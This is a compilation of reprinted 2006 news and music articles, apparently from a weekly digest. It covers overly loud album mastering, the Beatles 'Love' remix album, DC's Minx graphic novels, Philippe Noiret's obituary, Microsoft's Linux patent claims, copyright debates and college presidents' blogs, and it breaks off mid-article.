Be Here Now is the reason I chose 1997 as the arbitrary start-date for this list. This record just seems to capture something, to define and embiggen a trend already begun—and take it to an intolerable level. (What's the Story) Morning Glory? was LOUD and harsh and brash, as was Definitely Maybe, but the OTT overdubbing that took place on this record took loudness, density, compression, and ugliness to a level that had previously been rightfully unimagined. With Be Here Now Noel Gallagher tried to make Oasis' very simple music complex, but he didn't do so by increasing the sophistication of the composition or palette, by bringing in new and esoteric influences, or by trying out rhythms, textures, and melodic patterns beyond the ken. He made it more complex by playing a thousand different easy guitar parts over every song for twice as long as necessary. And then getting Johnny Depp in to do another guitar part. And then drowning out Johnny Depp's bit with a few more overdubs. And then adding a coda with a few more guitar parts. It's no surprise that Oasis wrote Be Here Now while loaded on cocaine out of their own history; the shame is that so many other people took this hideous album's dense and unpleasant aesthetic as a challenge rather than a warning.

02. The Flaming Lips - At War With the Mystics
Flips records have been loud as hell since The Soft Bulletin, but At War With the Mystics is beyond the pale—so much so that digital clipping and distortion seem to be used as an instrument within the mix. It's done so frequently and nastily that this album, which ought to be much better than the deadly-dull and almost-as-loud Yoshimi… because it has energy, hooks, and no 8-minute Yes-pastiches about wizards, actually becomes the least-enticing thing in their discography.

03. Arcade Fire - Funeral
I knew from first contact that there was something basic that I disliked about Funeral but I couldn't figure out what it was. The songs? No, they were OK. The music? No, it was good. The conceit? Perhaps. The delivery? Slightly. Take a track off Funeral and drop it in Garage Band or something else that can give you a graphic of the waveform. Funeral is pretty much flatlined all the way through. As such, it completely lacks the intimacy, realism, and layered detail that their companion Final Fantasy makes use of in his records. Similarly Neutral Milk Hotel's highly-regarded In the Aeroplane Over the Sea is a dead-on brick wall from the moment it starts. These aren't big commercial records on major labels—they're little, personal indie records for "discerning" listeners—so why mush them up?

04. The Shortwave Set - The Debt Collection
I said very nice things about this record, and immediately after I'd said them, it got filed away and I never took it out to listen to again. Now I realize why. The songs, production, ideas, and aesthetic of The Shortwave Set are all wonderful. But there's something wrong: it's too loud, too squashed, too unnatural. When you max-out a record during mixing and mastering, you literally make the sound of each instrument bigger on the disc. This causes the relationships between the sounds to become unnaturally close and, finally, overlap. But more than that, you pull all the character and shape out of music on a physical level.

05. Phoenix - It's Never Been Like That
Phoenix's aesthetic has always been hyper-smooth, AM rock radio sheen, crisp and shiny rather than deep or realistic. This was absolutely fine on United and particularly Alphabetical, where they achieved an almost R&B-like level of punch and shine. It's Never Been Like That, though, was supposedly an attempt to return to a rawer sound and, even though they may have recorded it with that approach in mind, it seems like it was mixed and mastered in the same way as their old sound, resulting in a claustrophobic, harsh, and unrealistic record that doesn’t rock at all and has none of the luxurious fake pleasure of their earlier work either.

06. Cocteau Twins - Heaven or Las Vegas (Remastered)
Cocteau Twins were never a warm listen. Their treble-heavy sound was a shimmering, brittle mess that either induced bliss or headaches depending solely on how you felt when you pressed play. Robin Guthrie oversaw the remastering of his former band's classic 4AD records himself, but you have to wonder whether he was drunk at the desk, such is the difference from album to album. The worst offender is, with the typical malice of fate, my favorite Cocteau Twins album. The remaster of 1990's Heaven Or Las Vegas transforms it from being an ethereal masterwork into a harsh and all-to-solid attack on the ears—bright, flat, and very, very bloody loud.

07. Bloc Party - Silent Alarm
On one level, this album sounds absolutely fucking awesome; the pounding drums, slashing guitars, crazy tempos, wild structures, and odd synths and FX dropped in the mix. On another level, it's a wearying, disorienting mess that I haven't listened to start-to-finish since about two months after I first got it. In a sense this is deliberate—Kele and co. are on record as saying they wanted to make a cold, hard, fascistic-sounding album, a modern-day Joy Division with dreadlocks. The thing is that, as well as being incredibly cold, hard, and fascistic, Silent Alarm is also incredibly bloody hot in a mastering sense, which makes the dense, airless, inhuman sound they were striving for even more alienating than they intended.

08. Radiohead - Kid A
In many ways, Kid A sounds amazing—"The National Anthem" is an awesome, propulsive piece of music—but in others… You could argue convincingly that it is meant to be a cold, alienating record, that, like the harshness of Public Enemy's early sirens & beats assault, it is designed to push you away with its sonics and lure you in with its groove and polemic, but… I know this is the case and Kid A still sounds wrong to me. Hell, OK Computer sounds wrong to me. Cold, flat, inhuman, distant. But more than that. "Everything in Its Right Place" and "Idioteque" ape the likes of Aphex Twin and Autechre, but they lack the full sonic range of those artists—the depth of the bass, the extreme synaesthetic detail. In short, they're electronic songs mixed and mastered like rock songs.

09. Massive Attack - Collected
This is oh-so-subtle, but it’s annoying. Take your CD of Mezzanine and take your CD of Collected, and play “Angel” back-to-back from one to the other. Notice how on the original album that ominous bass fades in from nothing; sense how deep it goes; see how sharp the rimshot is; feel the air around the bass drum and the shock of the guitars entering. But from this year’s beautifully-packaged Best Of, surreptitiously remastered, the bass is jarringly there from the get go, all width and no depth; the rimshot is flabby and indistinct; and there’s no sense of air or space. It’s like that for the rest of the CD—“Unfinished Sympathy” seems to have more of an impact on first listen but it’s less satisfying on repeated exposure, the strings that should soar are backgrounded, their timbre masked.

10. Keane - Under the Iron Sea
The amusing thing about Keane is that most people write them off as wimps, aimless bedwetting indie whingers with no muscle, when the reality is that their current album is one of the loudest, most sonically obnoxious records I've ever had the displeasure to hear. The treble is viciously sibilant, the bass wild and distorted, instruments completely unrealistic, with depth and detail almost entirely absent. When you add these sonic sins to the frighteningly efficient songwriting in evidence on most tunes (take three minutes to consider the lack of compositional fat on "Is It Any Wonder"—so fascist is its melodic imperative and momentum that singer Tom Chaplin, like a shark that will drown if it stops swimming, barely has time to pause for breath throughout its length), you have an album of profoundly robotic and dystopian inhumanity. If asked to hold up the best example of a bad, no, a disgusting sounding record, I would brandish Under the Iron Sea's tastefully modernist sleeve.
http://www.stylusmagazine.com/articl...97-present.htm





Roll Over, Brian Epstein: The Beatles Get Mashed
Jon Pareles

THE latest Beatles collection, “Love” (Capitol), isn’t a retrospective: it’s a recombination. After the innumerable reissues, archival gleanings and rescued live recordings that have made the Beatles catalog an endlessly milked cash cow for EMI Records and the Beatles’ own Apple Corps, the “Love” CD and its surround-sound DVD mix, both due for release on Tuesday, are different. Instead of simply collecting Beatles tracks, “Love” actively manipulates them.

Songs are edited together, dismantled, reconstructed from unused takes, overlapped, mined for guitar licks or orchestral bits, segued into free-form montages, even run in reverse. The result is both familiar and disorienting. “Love” is part of that snowballing 21st-century phenomenon, the mash-up.

It’s an authorized one, approved by the Beatles and their families and made by George Martin, the Beatles’ producer, and Giles Martin, his son. They assembled this music for the Cirque du Soleil production “Love,” now running in Las Vegas. The tone is admiring verging on reverent.

Mash-ups can mock their sources; “Love” emphatically does not. Nor does it venture outside the Beatles’ own catalog. All the music is from the Beatles, 1963-70, except for a new string arrangement by George Martin, which is overdubbed onto the bittersweet, acoustic-guitar version of “While My Guitar Gently Weeps” that appeared on “Anthology 3,” part of the “Anthology” series of alternate takes.

For people who have been hearing Beatles albums since they were first released, “Love” is a memory test, a jolt to the ingrained experience of the music. Did it always sound that way? Wasn’t that guitar solo in a different song? All mash-ups do that to some extent, but the déjà entendu effect is exponentially stronger with material like Beatles songs that millions of listeners have memorized from end to end. The effect, as it was with the “Anthology” albums, is not to devalue or dethrone the well-known versions, but to illuminate them.

Giles Martin said in an interview that he was tempted to have the album packaging read, “No original Beatles recordings were harmed in the making of these tracks.” It’s a nervous joke. By reshuffling Beatles nuggets even this much, the Martins have breached the hermetic domain in which the Beatles have tried to keep their music.

The Beatles’ EMI recordings aren’t available on iTunes, and Apple Corps turns down most requests to use the Beatles’ catalog in other contexts. When Danger Mouse made “The Grey Album,” his razzle-dazzle combination of the raps from Jay-Z’s “Black Album” with microsliced samples from “The Beatles” (a k a “The White Album”) in 2004, he immediately got a cease-and-desist letter from EMI Records, which instead could have capitalized on a new surge of interest in a 1968 oldie. (The album circulated anyway as a widespread free download.)

Like any other recordings the Beatles’ songs have been fodder for unauthorized mash-ups. But officially, they have been treated like sacred texts, to be kept inviolate. “Love” doesn’t open the door to Beatles recycling (which was going on anyway) as much as it recognizes the inevitable.

“Love” was made for Cirque du Soleil, which, astonishingly, persuaded the surviving Beatles and family members not only to let Beatles songs be used as the soundtrack for a big Las Vegas production but also to allow them to be rejiggered. Cirque du Soleil’s needs clearly affected the programming of the album — of course the Beatles’ circus song, “Being for the Benefit of Mr. Kite,” is included — but “Love” was also a good pretext to sift through the tapes one more time.

The Martins searched the Beatles catalog for coincidences of key and tempo, for bits of songs that could be turned into connectors or musical puns. Vocals from “Nowhere Man” drift in above the keyboard and cello of “Blue Jay Way”; the guitar introduction to “Blackbird” leads into “Yesterday” instead.

It’s an album of connoisseurship, revealing the inspired details tucked into so many Beatles songs. (Paul McCartney’s bass line in “Something” emerges, with the rhythm guitar track removed, as a true countermelody.) It’s a sonic close-up too.

Because “Love” was made from early generations of the Beatles’ original, unprocessed studio master tapes, the timbres of voices, fingers on strings and drumsticks on skins are more immediate than they have been on other digitized Beatles releases. Which ought to raise the pressure on EMI to release better remastered CD’s of the original Beatles albums.

Some of the juxtapositions are revealing, pointing to threads that run through the Beatles’ music. “Tomorrow Never Knows” and “Within You Without You” were both in the same key, so the rhythm track of the first can fit the melody of the second. But both were also Beatles songs that matched mystical reflections to the drone of Indian raga. Other combinations are merely clever, a matter of trivial coincidence. A few are cutesy and annoying.

The “Love” version of “Strawberry Fields Forever” imagines the song being constructed: first John Lennon singing it by himself with acoustic guitar, then the other band members joining in one by one as a rhythm section, then layers of backup voices, of electric guitars, of horns and electronics, but with Lennon’s voice always vulnerable at the core. It’s touching and fascinating, like a time-lapse version of the Beatles at work. And then, unfortunately, the production goes off the rails, piling on bits of other, unnecessary songs.

“Love” isn’t the last word on the Beatles catalog — or at least it shouldn’t be. There’s far more material in the group’s archives than a single collection can encompass, especially if the point is not only preservation but extrapolation. The Beatles in their heyday held their music to extraordinarily high standards, but they weren’t rigid or exclusionary about what went into it, whether it was Bach or the Beach Boys.

They were playing in every sense of the word — even doing their own premonitory mash-ups in songs like “Revolution No. 9” and “I Am the Walrus” — and with “Love,” some of that old playfulness returns. Back in the 1960s the Beatles were pop’s vanguard; now, in this guarded way, they have joined the cut-and-paste present. Their originals stand up, but it wouldn’t hurt their legacy one bit to let some outsiders play with them too.
http://www.nytimes.com/2006/11/19/ar...html?ref=music





Where Collectors Can Get Lost Classical Recordings
Steve Smith

Long before the closing of Tower Records was announced, the notion that a music store should offer a comprehensive selection of classical recordings had been abandoned. Older discs, which typically sold too slowly to help bricks-and-mortar stores meet their costs, were deleted from record labels’ catalogs. But they remained desirable to collectors, and the Internet music retailer ArkivMusic (arkivmusic.com) has recently introduced the ArkivCD program as a way to keep these recordings available.

ArkivMusic, a four-year-old company based in Bryn Mawr, Pa., maintains a database of more than 70,000 classical CDs, DVDs and SACDs (super audio compact discs), all sold through its Web site. Over the last two months, the company has added more than 1,600 ArkivCDs to its site: custom-burned CD-Rs of otherwise unavailable recordings, packaged in standard jewel boxes with facsimiles of the original cover and tray card. So far, liner notes are not included.

The concept of offering deleted recordings on CD-R is not new. A gray market has long existed for vintage LPs transferred to disc by private collectors, and in 2003, when New World Records (newworldrecords.org) absorbed the assets of the failed label Composers Recordings Inc., the company announced that the CRI catalog would be digitized for on-demand sales.

Eric Feidner, the president of ArkivMusic, said that offering out-of-print recordings had always been the company’s goal. “It was in the original business plan as the big idea,” he said. “But in order to get to the point where we could actually sell the big idea, we had to build a big customer base selling everything else.”

ArkivMusic began to license out-of-print recordings from independent labels two and a half years ago, storing the recordings as uncompressed digital files on its servers. The company did not publicize the series until last month, when a large influx of titles licensed from Sony BMG and Universal Classics was made available. The new additions included recordings by Eugene Ormandy, Martha Argerich, Jessye Norman and others.

Mr. Feidner said many of the initial offerings in the ArkivCD program were chosen using data culled from his company’s partnerships with classical radio stations, including WQXR-FM, which is owned by The New York Times Company. ArkivMusic links the playlists posted on these stations’ Web sites to its own site, enabling click-through purchasing.

“About 50 percent of what gets played on most classical stations on any given day is an out-of-print recording,” Mr. Feidner said. “That’s our wish list, because stations play these things all the time. People are looking for them.”
http://www.nytimes.com/2006/11/25/ar...html?ref=music





For Graphic Novels, a New Frontier: Teenage Girls
George Gene Gustines

“It’s time we got teenage girls reading comics,” said Karen Berger, a senior vice president at DC Comics. And DC, the comics powerhouse best known as home to Superman and Batman, has a program to make that happen.

In May, DC plans to introduce Minx, a line of graphic novels aimed at young adult female readers, starting with six titles in 2007, each retailing for less than $10. The stories will be far removed from the superheroes who more typically appeal to young males. They include “Clubbing,” about a London party girl who solves a mystery; “Re-Gifters,” about a Korean-American teenager in California who enjoys martial arts; and “Good as Lily,” about a young woman who meets three versions of herself at different ages.

Teenage girls, Ms. Berger said, are smart and sophisticated and “about more than going out with the cute guy. This line of books gives them something to read that honors that intelligence and assertiveness and that individuality.”

As a whole, the line is positioned as an alternative for teenage girls who have, especially in bookstores, become increasing smitten with the Japanese comics known as manga. In 2004, DC started CMX, a manga imprint, to capture part of that audience. The marketing then was similar to that used for DC’s other titles.

With Minx, though, DC has taken what, for it, is the unusual step of seeking outside help. It has joined with Alloy Marketing + Media to promote Minx. All told, DC, a unit of Time Warner, will spend $125,000 next year to push the line.

“In terms of consumer marketing, it’s got to be the largest thing we’ve done in at least three decades,” said Paul Levitz, the president and publisher of DC Comics. “It’s not large by the scale of consumer marketing and advertising as it’s done in America, but it’s a large-scale commitment, I think, for a publishing company in general.”

Alloy Entertainment, a division of the marketing company, has helped to make hits of books like “Gossip Girls” and “The Sisterhood of the Traveling Pants.” Alloy was also the so-called book packager behind “How Opal Mehta Got Kissed, Got Wild and Got a Life,” a first novel by a 19-year-old Harvard sophomore named Kaavya Viswanathan that was pulled from stores earlier this year when it was learned that numerous passages had been copied from novels by other writers.

Still, Alloy is offering DC access to a large audience of teenage girls, through Web sites and the Delia’s shopping catalog, which has a mailing list of nearly five million, according to Samantha Skey, Alloy’s senior vice president for strategic marketing. Ms. Skey said Minx would be the first graphic novel publisher to be included in the catalog.

Along with other initiatives, Alloy plans to create online networks about the novels that will let subscribers write reviews, see previews and sketches or discuss the stories.

DC cast a wide net in seeking those stories. “To us it doesn’t matter if the person has written comics before or is known to the comic book market,” Ms. Berger said. “We want writers who can really write to the demographic and to really bring something new to the table.”

The right creative team is important. “When you had mostly boys and men making comics, you had comics made mainly for boys and men,” said Johanna Draper Carlson, the editor of comicsworthreading.com, a Web site for comic book news and reviews. “Then you end up with teen-girl superheroes who are drawn like Victoria’s Secret models.”

“I don’t think only women can write for women,” Ms. Carlson added, “but I think it helps provide an alternative perspective and a more true-to-life experience.” Ms. Carlson, who often champions female-friendly comics on her site, is taking a wait-and-see attitude to the Minx line.

The first Minx graphic novel will be “The P.L.A.I.N. Janes,” written by Cecil Castellucci and illustrated by Jim Rugg. It tells the story of Jane, a transfer student in a suburban high school who starts a campaign, “People Loving Art in Neighborhoods.” It’s a call to appreciate the everyday world that comes to involve everything from protesting the construction of a new mall to encouraging pet adoptions from animal shelters.

Jane’s classmates and fellow believers are Jane, who is interested in theater; Jayne, an academic whiz; and Polly Jane, a jock. Each is decidedly not part of the in-crowd. The reason for Jane’s transfer is serious: her family fled to suburbia after Jane survived a terrorist attack that blew up a cafe in fictional Metro City.

The experience of survival is a personal one for Ms. Castellucci, 37, whose young-adult novels include “Boy Proof” and “The Queen of Cool.” In 1979, when she was 9, Ms. Castellucci witnessed a bombing by the Irish Republican Army in Brussels. In 1986, she was in Paris during a rash of bombings. Those incidents, and the events of Sept. 11, played a role in shaping the story.

“It seemed like this was a good opportunity to explore those fearful feelings that I had growing up,” she said in a telephone interview from her home in Los Angeles. “They’ve always been a part of my makeup and fears.” Feeling scared, she said: is an emotion everyone understands. “You can’t help it if you’re a part of this world.”

Ms. Castellucci was recruited by Shelly Bond, a Minx editor. It was an easy sell. “I love comic books,” Ms. Castellucci said, listing several series she enjoys, including “Fables” and “American Virgin,” on the DC imprint Vertigo, and a particular creator (“Brian K. Vaughan. I love everything he does”).

But reading comics is different from creating one, particularly a 146-page graphic novel. “I had to learn how to write a story all over again,” she said. “I did have a week or two when I thought I don’t know what I’m doing.” She said that the graphic novel was “kind of like a movie or a storyboard, but it’s not. There’s so much you can do with the images and the pacing.” She credited Mr. Rugg, the artist of “The P.L.A.I.N. Janes,” as a prime source for advice.

Mr. Rugg, who is based outside Pittsburgh, said he appreciated the goal of Minx. “I liked their target demographic,” he said. “I like the idea of doing comics for an atypical reader.” In addition to creating the drawings, Mr. Rugg also gray-scaled them, giving the black-and-white comic book a sense of color. He finished his work last month.

One of Mr. Rugg’s previous comics was “Street Angel,” about a homeless teenage girl who fights crime, which he created with the writer Brian Maruca. Mr. Rugg, 29, called that comic, published by Slave Labor Graphics, his response to the typical depiction of women in mainstream comics, most particularly their impossibly proportioned bodies.

“It’s the same for men,” he acknowledged. “But I don’t find that as offensive.”
http://www.nytimes.com/2006/11/25/ar...gn/25minx.html





Philippe Noiret, an Actor of Elegance and Dry Humor, Dies at 76
Alan Riding





Philippe Noiret, a much-loved French character actor who gained international renown through the movies “Il Postino” and “Cinema Paradiso,” died on Thursday at his home on the Left Bank in Paris. He was 76.

The cause was cancer, said his agency, Artmedia.

Although Mr. Noiret played a great variety of roles in a career dating to the early 1950s, one image that clung to him was that of an elegant gentleman farmer, reinforced by his aristocratic demeanor, dry sense of humor and velvety voice no less than his love of horses and country life.

His own background, though, was modest. Born in Lille on Oct. 1, 1930, he failed to graduate from high school and, he later recalled, became an actor almost by default. His good fortune was to be hired by the Théâtre National Populaire in Paris in 1953. Seven years later, his movie career took off when he appeared in Louis Malle’s “Zazie dans le Métro.”

With roles in more than 125 films after that, he worked with American and Italian directors as well as many leading French moviemakers. Among his best-known female co-stars were Simone Signoret, Romy Schneider and Catherine Deneuve.

Abroad, his most successful roles were as the village projectionist in Giuseppe Tornatore’s “Cinema Paradiso” (1988) and as the Chilean poet Pablo Neruda in Michael Radford’s “Postino” (1994). He also starred alongside Marcello Mastroianni in “La Grande Bouffe,” Marco Ferreri’s 1973 portrait of suicidal gluttony.

Mr. Noiret frequently appeared in movies with his wife, the actress Monique Chaumette, whom he married in 1962. She and their daughter, Frédérique, survive him.

In France, one of his finest roles was that of Major Delaplane, a French Army officer charged with organizing war memorials after World War I, in Bertrand Tavernier’s 1989 “La Vie et Rien d’Autre” (“Life and Nothing But”). For this role, he won a César, the French equivalent of an Oscar. He won his first César for best actor in Robert Enrico’s 1975 “Le Vieux Fusil” (“The Old Gun”).

Mr. Tavernier, who made eight films with Mr. Noiret, was among numerous directors to remember him fondly. “He was a friend, a brother, someone I could count on for every adventure and whom I tried to serve by giving him different characters to play,” he told the radio station RTL on Friday.

An outpouring of tributes underscored the special affection Mr. Noiret enjoyed in France. President Jacques Chirac hailed him as “one of theater’s and cinema’s most outstanding and engaging people.” Prime Minister Dominique de Villepin said he “captured and expressed something of the French soul.”

In Italy, where Mr. Noiret made many films, newspaper headlines included “The Frenchman Adopted by Italy” and “Farewell Noiret, the French Star Who Conquered Italy.” Knowing that Mr. Noiret was ill, Aldo Tassone, the artistic director of France Cinema, an annual festival of French films in Florence, dedicated last month’s festival to him.

Mr. Noiret had a down-to-earth view of his own long career. “When I think back, I see someone who has correctly executed his trade as an artisan,” the Paris daily Libération quoted him as saying. “I have done a few difficult films as well as some not demanding enough. The average is not bad. I am a popular actor and I like that idea.”
http://www.nytimes.com/2006/11/25/movies/25noiret.html





Linux Users to Microsoft: What 'Balance Sheet Liability'?
Eric Lai

November 21, 2006 (Computerworld) While Microsoft Corp. may cast the Nov. 2 patent cooperation agreement it pushed on new partner Novell Corp. as a way to protect corporate users of the SUSE Linux operating system from potential lawsuits, CIOs today said they weren't worried in the first place.

"I do not believe that my company has an "undisclosed balance sheet liability," Russ Donnan, CIO at business information provider Kroll Factual Data, said in an e-mail response to questions from Computerworld about the Microsoft deal. Kroll Factual, a Loveland, Colo.-based subsidiary of global services provider Marsh & McLennan Companies, uses Red Hat Linux servers along with Windows servers in its data center.

After keeping mum about Microsoft and Novell's tie-up, Microsoft CEO Steve Ballmer openly declared last week that he believes the Linux source code infringes upon Microsoft's intellectual property (IP). And companies that use Linux, apart from Novell's SUSE distribution, face a latent financial time bomb that he called an "undisclosed balance sheet liability."

Yesterday, the two companies released separate statements, with Microsoft softening but still standing by Ballmer's comments even as Novell's CEO Ron Hovsepian disavowed them.

Donnan, who described himself as "not a huge fan of software patents," said "the threat of such a 'liability' would not in any way influence" whether Kroll would stick with Red Hat or move to SUSE or even Windows. "Steve Ballmer is posturing for mind share to enterprise executives, knowing it will have little to no impact on IT executives," he said.

Barry Strasnick, CIO of North Quincy, Mass. financial services provider CitiStreet LLC, was even more emphatic.

"Like many IT executives, I took great offense to Ballmer's comments," Strasnick wrote in an e-mail. CitiStreet uses Red Hat Linux widely in its data centers. "If Microsoft really thinks there is some code in Linux that violates their patents, they should publish those lines of codes immediately instead of just posturing in the press. [Fear, uncertainty and doubt] may have worked for IBM in the 1970s (some of us are old enough to have been around then), but not today."

When Linux began gaining adoption by dot-coms in the late 1990s, many mainstream CIOs considered it risky in part because of their unfamiliarity with the open-source General Public License (GPL) that governs the operating system's intellectual property, according to Gordon Haff, an analyst with Nashua, N.H.-based Illuminata Inc.

"It wasn't that any circa-1999 CIO had carefully studied the IP issues surrounding Linux, it was that they didn't know much about them and the whole thing sounded kind of fishy to them," he said.

Those risks appeared to become realized in 2003, when The SCO Group, a former Linux distributor-turned licenser, began suing both Linux vendors such as IBM and Red Hat Inc. and ex-customers, such as AutoZone and Daimler-Chrysler, for infringing upon its copyrights.

But SCO has made little progress in its lawsuits. Meanwhile, many open-source vendors, including Hewlett-Packard Co., Red Hat, SUSE and others, quickly responded by offering indemnification against potential lawsuits as part of their standard support packages to customers. Others, such as IBM, have long maintained indemnification was unnecessary.

"We don't offer indemnification because customers rarely, if ever, ask for it," an IBM spokesman said.

Either way, "Linux' success tends to suggest that buyers for the most part don't look on Linux as something risky," Haff said.

And Microsoft's assertions might be even backfire. "There were some applications I had been thinking about moving to a Microsoft platform, but this has now totally alienated me from Microsoft," Strasnick said.
http://www.computerworld.com/action/... =rss_topic89





What if Linux does Infringe on Microsoft Intellectual Property?
Adrian Kingsley-Hughes

There have been a lot of words written about the comments made by Microsoft's CEO Steve Ballmer during a Q&A session after his keynote speech at the Professional Association for SQL Server (PASS) conference in Seattle last week (you know, where he said that Linux used intellectual property patented by Microsoft).

Most seem to think that the claims are nothing more than FUD on the part of Microsoft and that nothing will come of it. But here's a thought to ponder - what if it's true and Linux does indeed infringe on one of more of Microsoft's patents?

You have to admit that there's at least a chance that Linux does indeed infringe on Microsoft's patents
Come on, no matter how much of a Linux fan you are, you have to admit that there's at least a chance that Linux does indeed infringe on Microsoft's patents. After all, Microsoft does hold a lot of patents and while Linux is open source and we can all take a look at the source code, only Microsoft has access to most of its source code so it isn't all that difficult for it to prove – to itself at any rate – that there are IP infringements contained in Linux. After all, before IBM handed over some 500 patents to the open source community, it's pretty clear that Linux was infringing some of them. Given that, why is it so hard to believe that the same isn't going on with Microsoft?

Some have called on Microsoft to come clear on what the infringements are (Mary Jo Foley, my blogging colleague here at ZDNet has written a couple of posts along those lines). That would certainly be interesting but there's no reason for Microsoft to do this. It would dismiss the speculations about the claim being FUD, but it wouldn't achieve anything else. Microsoft can just sit on this information and use it as leverage in deals that it wants to cut or future legal action that it might feel it needs to take. After all, the Open Invention Network has said it is ready to leverage the IP portfolio that it has accumulated to maintain the open patent environment. Why shouldn't Microsoft do the same to protect its business model? It might not be the "nice" thing to do, but this is business after all. (And if you don't like that, consider how you'd feel if whoever is heading the company you work for started taking their eye off the business ball - I bet you'd spend some time updating your résumé, just in case!)

But what would it mean to Linux users if the operating system they use infringed IP belonging to Microsoft? Well, I'm pretty sure that it would mean absolutely nothing to all the geeks that use Linux for personal and home use. I don't see Microsoft ever knocking on anyone's door looking to collect a "Linux tax", it's just not worth the hassle.

But what about commercial uses of Linux? There things could be different but I still see the courts being a long way off. No doubt Microsoft could bury the competition in legal paperwork and just sit back and wait for them to go bust, but that would do nothing but generate a shed-load of bad press. The best thing that Microsoft could do would be to sit on this information and use it to cut deals - or use it to generate goodwill and donate the patents to the open source community…

… did I just see a pig flying past my office window?
http://blogs.zdnet.com/hardware/?p=161





Free Software Bypasses Attachment Limits
Anick Jesdanun

There's a new way to send large movie, music and other files without worrying about whether the e-mail systems can handle large attachments.

Free software from Pando Networks Inc. automatically converts your attachments into a small file that your friend or relative can simply open to download the original file from Pando or elsewhere. Beginning Tuesday, Pando is offering plug-ins to work with most Web-based mail services.

Major e-mail providers generally limit the size of files you can send or receive to 10 megabytes. The Week in Review is edited and published by Jack Spratts. That's fine for text and even small photos - but try sending an entire photo album, music or video, and you run against the caps quickly.

And even if your provider lets you send the large files, the recipient's service provider might not accept them.

"Everybody has experienced problems of, `I want to send something but it's too large to send by e-mail,'" said Robert Levitan, Pando's chief executive.

With Pando, files larger than a specified size are automatically converted. A copy of the file is sent to Pando's servers, and only a small attachment gets sent to the recipient, who must have or obtain the free software from Pando.

Microsoft Corp.'s Windows operating system and Internet Explorer browser are required to send files using the Web-based plug-ins, but Mac users can get the free standalone application to open them - as well as to send their own. Windows users can also send files with the standalone program or a plug-in for Microsoft's Outlook e-mail software.

Pando accepts files of up to 1 gigabyte - 10 times the free offering from YouSendIt.com, which isn't integrated with the Web-based mail services. Pando plans to make money from ads and a premium version with higher limits and longer retention - files are deleted from Pando's servers after 14 days under the free plan.
http://hosted.ap.org/dynamic/stories...11-21-18-44-29





New Coffee Maker Uses SPOT Technology
Brian Bergstein

A new coffee maker hitting stores for the holidays can display real-time weather data, using a "smart objects" technology that Microsoft Corp. has been touting for years.

The $200 Melitta Smart Mill & Brew, made by Salton Inc., takes advantage of a wireless-data system built by Microsoft to automatically display current weather conditions and forecasts.

This concept - imbuing everyday objects with the ability to deliver at-a-glance information - has been in the works at Microsoft since at least 2000. Chairman Bill Gates highlighted the "Smart Personal Objects Technology" (SPOT) in his keynote at the Comdex trade show in 2002, calling it part of a seminal shift in computing that would soon make a mark.

In practice, though, making SPOT run has been laborious. To shoot real-time data to household gadgets, Microsoft and partner companies had to design a mini-operating system and power-friendly microchips for them. It also set up a nationwide wireless data system using the FM radio spectrum.

The first SPOT-infused products, watches from three companies that offered real-time news and other information, hit the market in 2004, followed by a home weather gadget from Oregon Scientific Inc.

That makes the coffee maker just the third kind of item to deploy the technology.

But Eric Lang, who manages the SPOT initiative, said the project "is on a roll now." Microsoft has simplified the process by which gadget makers can add SPOT to products, and several are due to be announced in coming months.

"It's clear this is where technology is going, there's no doubt about it," Lang said. "It might be a little before its time for mainstream America, but it's absolutely where things are going."
http://hosted.ap.org/dynamic/stories...11-21-18-44-01





Australian Copyright Proposal Criticized
AP

Critics of a copyright proposal in Australia are warning that serious penalties could result from the use of iPod music players and video-sharing sites like YouTube, even if all you're doing is showing yourself singing along to your favorite song.

Electronic Frontiers Australia, a free-speech advocacy group, said the proposal vastly extends the scope of items considered used for copyright theft. Instead of being limited to commercial machines like printing presses, the group said, the proposal would cover personal devices like video players, music players and home computers.

Another section "would arguably make distribution of copyright material via the Internet a criminal offense, even where the person responsible had not intended such distribution to occur," the group said.

The copyright proposal has been introduced in Parliament. Politicians and experts are debating it before a final version is put to a vote, expected next year next year.
Attorney-General Philip Ruddock has not responded directly to the claims, but has said the provisions are intended to catch and punish major music and movie pirates, not personal users.

The proposals would make it an indictable offense - one that must go before the justice system - for someone to possess a device with the intention of using it to infringe copyright. Previously, such infringements have generally been dealt with by paying damages to the copyright holder, without the involvement of the courts.

Brian Fitzgerald, the head of Queensland University's law school, said the changes "have the potential to make everyday Australians in homes and businesses across the country into criminals on a scale that we have not witnessed before."

The proposal could potentially cover "a 14-year-old girl videoing herself lip-synching to her favorite pop tune and uploading this to a video sharing Web site like YouTube," Fitzgerald wrote in an Oct. 26 article posted on the Web site of Online Opinion.
http://hosted.ap.org/dynamic/stories...11-21-18-43-10





Erasing Divide, College Leaders Take to Blogging
Diana Jean Schemo

Thanks to an e-mail message from “trinity gurl,” an anonymous cybersnoop, Patricia A. McGuire, the president of Trinity University here, suddenly faced a digital-age dilemma.

The e-mail message turned in another student for using profanity on her personal Web page, which linked to Trinity’s Web site. Nothing scandalous, but Dr. McGuire was more troubled, she said, that “trinity gurl” had snitched in secrecy.

So Dr. McGuire reached for a particularly apt solution in the age of the blogosphere: She censured the eager informant on her own blog, comparing the e-mailer to Big Brother and asking, “Who is ‘trinity gurl’ and why is she sending me this kind of information about something a student is posting online?”

While some colleges and their presidents have seen their reputations shredded on student blogs, and others have tried to limit what students and faculty members may say online, about a dozen or so presidents, like Dr. McGuire, are vaulting the digital and generational divide and starting their own blogs.

Veterans of campus public relations disasters warn that presidents blog at their peril; “an insane thing to do” is how Raymond Cotton, a lawyer who advises universities and their presidents in contract negotiations, describes it. But these presidents say blogs make their campuses seem cool and open a direct line, more or less, to students, alumni and the public.

“When I first started learning about blogs, I said, ‘Well, here I like to discourse on issues of the day, connect with the campus community,’ ” recalled Dr. McGuire, who said she wrote all her own entries. “Here’s a way I can talk a couple of times a week to everybody.”

And so she does: about Representative Nancy Pelosi, class of 1962, who will be the first female speaker of the House; about election results; about breaking ground for a memorial to the Rev. Dr. Martin Luther King Jr.; and about lesbian alumnae and the Roman Catholic Church, sensitive ground for a Catholic undergraduate college serving mostly minority and low-income women.

Dr. McGuire wrote that the church’s rejection of same-sex unions did not mean that the “alma mater must shun her own daughters.” She added, “All alumnae are welcome at Trinity, always.”

At Towson University, outside Baltimore, the president, Robert L. Caret, who writes Bob’s Blog, appears online in sunglasses, casually unshaven and smiling gamely alongside the Towson Tiger mascot. Dr. Caret’s blog, though, plays it safe, mostly praising particular programs like summer courses or studying abroad, or urging students to join clubs and to help spruce up the campus.

But that does not mean the students play it safe.

